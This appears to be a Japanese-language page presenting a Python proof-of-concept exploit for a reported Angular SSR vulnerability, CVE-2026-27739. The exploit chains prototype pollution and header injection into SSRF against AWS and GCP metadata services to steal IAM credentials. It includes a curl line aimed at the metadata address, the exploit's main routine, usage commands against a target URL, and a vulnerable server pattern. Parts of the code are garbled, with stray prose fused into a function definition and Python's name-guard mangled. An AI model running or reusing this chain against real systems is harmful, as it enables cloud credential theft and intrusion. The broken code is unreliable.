
Angular SSRにおけるCVE-2026-27739を悪用するPython PoC:プロトタイプ汚染によるヘッダーインジェクションと、認証情報窃取のためのAWS IMDS/GCPメタデータへのSSRFチェーン。
curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}
説明: Angular SSR がプロトタイプチェーンに影響を与える安全でないクエリパラメータを処理する 影響: リクエストヘッダーの操作、SSRF チェーン攻撃の可能性
express-validator などを使用するdef main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF & Header Injection Exploit") parser.add_argument("target", help="Target Angular SSR application URL") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL verification")
args = parser.parse_args()
exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)
print(f"[+] Targeting: {args.target}")
print(f"[+] SSL Verify: {'Disabled' if args.no_ssl_verify else 'Enabled'}")
# Execute exploit chain
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()
if name == "main": main() 使用方法 bash
python3 angular_ssr_exploit.py https://target.com
python3 angular_ssr_exploit.py https://target.com --no-ssl-verify 仕組み ヘッダーインジェクションテスト: Angular SSR が安全でない方法で処理する可能性のあるプロトタイプ汚染ペイロードと安全でない転送ヘッダーを送信する SSRF チェーン: X-Forwarded-For/X-Original-URL を介して AWS IMDS、GCP メタデータ、localhost サービスへのアクセスをテストする IMDSv2 トークン抽出: SSRF を連鎖させて AWS メタデータトークンを窃取し、その後 IAM 認証情報を取得する 自動レポート: PoC を含む CVSS スコア付きペネトレーションテストレポートを生成する 技術的詳細 根本原因: Angular Universal SSR アプリは、サニタイズせずに req.headers を内部 API に直接転送することが多い:
javascript
// Vulnerable Angular SSR pattern app.get('*', (req, res) => { const url = req.headers['x-original-url'] || req.originalUrl; // SSRF internalFetch(url, { headers: req.headers }); // Header injection });